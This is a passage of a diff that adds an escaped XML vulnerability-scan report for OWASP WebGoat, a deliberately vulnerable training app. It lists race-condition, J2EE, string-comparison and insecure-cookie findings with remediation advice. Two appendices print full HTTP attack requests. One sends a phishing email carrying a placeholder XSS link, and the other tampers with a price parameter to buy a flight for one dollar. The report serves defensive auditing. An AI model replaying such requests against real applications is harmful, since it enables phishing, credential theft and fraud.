1wWE0vwV+bfyiG7P0YLr4qPmT1gidrec2JP4WWdN0owZmMU+ZudozefEF5XL+/YPyuBKYSXKujZw7YyTyTOsgUk20/ZNarAjLIny7tSXKwiURGK1eJWYbGFvzVWbfas6IjmHl2QW5u92FS4ZvNoxF7M7DEVZ5VjinnF32xftabHLhu/7Hi115WdarzaM7RD4E4EDhFe0SGw3A5YB7/Vpjaw1e6toQrbMs47VDK2ZHxon0jbMWs7tqxp+aPWXhh5Y9WcqqC3bD1e6nVPzKgYtoIw01/FQB0Qnq1WLDz7LCHrrRvlj7cH2jGZOFVyRTGoCAKVmxErZUckKDJct3KL1o/OzMy6lb2r9lcmHxUvtW9oh8BdCJwqvO4C8Qp+WAdnj92j5ulZW4m4EXM+cY6ZYvpE/vgMAQg8i8AhwutZSOf0dktxjZ6Mz/R2i09n2j3T2jCcKRrYAgEIPIEAwusJUcZHCEAAAhCAAASmIIDwmiIMGAEBCEAAAhCAwBMIILyeEGV8hAAEIAABCEBgCgIIrynCgBEQgAAEIAABCDyBAMLrCVHGRwhAAAIQgAAEpiCA8JoiDBgBAQhAAAIQgMATCCC8nhBlfIQABCAAAQhAYAoCCK8pwoAREIAABCAAAQg8gQDC6wlRxkcIQAACEIAABKYggPCaIgwYAQEIQAACEIDAEwggvJ4QZXyEAAQgAAEIQGAKAgivKcKAERCAAAQgAAEIPIEAwusJUcZHCEAAAhCAAASmIIDwmiIMGAEBCEAAAhCAwBMIILyeEGV8hAAEIAABCEBgCgIIrynCgBEQgAAEIAABCDyBAMLrglH+7rvvprL6X//611T2nGnMbLFZWBCjM7OCtSEAAQj8TmAq4fUqWstXG6S2oKn/v8Z7RdBbZ/26KqBtX9V/ZNJl18owGmGXKuoVrpE9Wb+tOdRYxUqNX9bM9IvyvCcemTWPilGP/Vl2o7ltsZWxEIAABHoJTCO8qoUv2z/bzxJqUUHLFLveoKhx2bWz/dR6qj1T1NdzHGVXZc1KnmwRh2odxbpHVL7G3C1GZ+RQT2wYAwEIQKAlMIXwim6mrOK59G//jvpmnqorRVGJsuXpPCr+6znUrVDUbt0EWP0t/zw7K7cLW4q6FcPIn5anZf8iolsGXt82N7L5VWWXEQsR92ycrWNuS4zWfKo+t7Hw9qjK//bBSO3VKNczcaBUQAACENiLwC2FV+ZQrgqjNgBeoYjW3qPNsssTma3Q80Sh4teuuaWot3HIMsr2ywjuqvCqrO0x90RUJNSz8eoVXkr0Zdev5FnUN7vnWlFWFWl7Ha7MCwEIQMAicFvhlXmCtg7oqPhkiuKIolwtHEeKwNFFXYm8jHBR4s0qzJYfy1re32uBNoL5XnHujVEkUlt/K+KqR7BF8bHs7N13lAUIQAACRxOYQnipJ9ZI8FhvG/QewpW3ILy+o9beu7D12rm1qFu3GNn4Zm9HMjnhbTQlBJWIU+N7uVfGjYiR8qMnZlWhWcmVCp/KPj/6QGY9CEDg/gSmEV7LodzeXlQO36gotkXbWqdyIEd917cDlv1Wuyp03g1Ly82ap73BWd8YZDgoLtW3GqOiHeWB55vnQ/u6yq3qA4AXxyj+2Xh54tGbW/nWE6Ms7yg3K/Fc97WO3so6Wdvvf8TjIQQgMBuBqYTXbHCwJ0dAFfXcLLqXEoB6huf22DNGV4vL1ex9btbiOQTuSQDhdc+4HurVnkVd3YIc6uiFF9szRlcQMuoW8sKhxXQIQOBiBN7971++fRv79de3r776+u1//ud/3v7f/9v49ZrD+XrNb3/96efXm68//fx/4+tPP7/2pz99ZX999fPrn7++fvv6mz//zOhnv77+5revr7/55u3P//uXFbuBfi/cuvx/cTEYvF7r4fDiY7D4PWfwe3OeXyreo88L5ht7/sITnuTA7Dnw/wG3qkLwIHFaXAAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
+        following POST request demonstrates the issue. It send an email message to
+        Phising.Victim@owasp.org. The message body contains a link that when clicked
+        will utilize a cross-site scripting attack to make the phising attack appear
+        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
+        to a security flaw in our software all users must immediatly reset their password.
+        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
+        application trusts values used in business logic that originate from the client.
+        The price of a flight is passed to the client through a JSON request. The
+        price value is subsequently sent back to the application when the client orders
+        a flight. There is no verification that the price value has not be modified.\"
+        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
+        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
+        malicious client attempting to book a flight and save money can intercept
+        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
+        issue becomes severe since the malicious client will cause a loss in revenue.
+        A sophisticated attacker may resell the stolen flights at a discounted rate,
+        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
+        send values from the client to the application that are necessary and cannot
+        be obtained from an internal data source. The price of the flight can be associated
+        with the the client's session, then obtained from the internal and trusted
+        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
+        following POST request allows a ticket from BOS to SEA to be purchased for
+        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
+        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
+        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
+        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
+        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
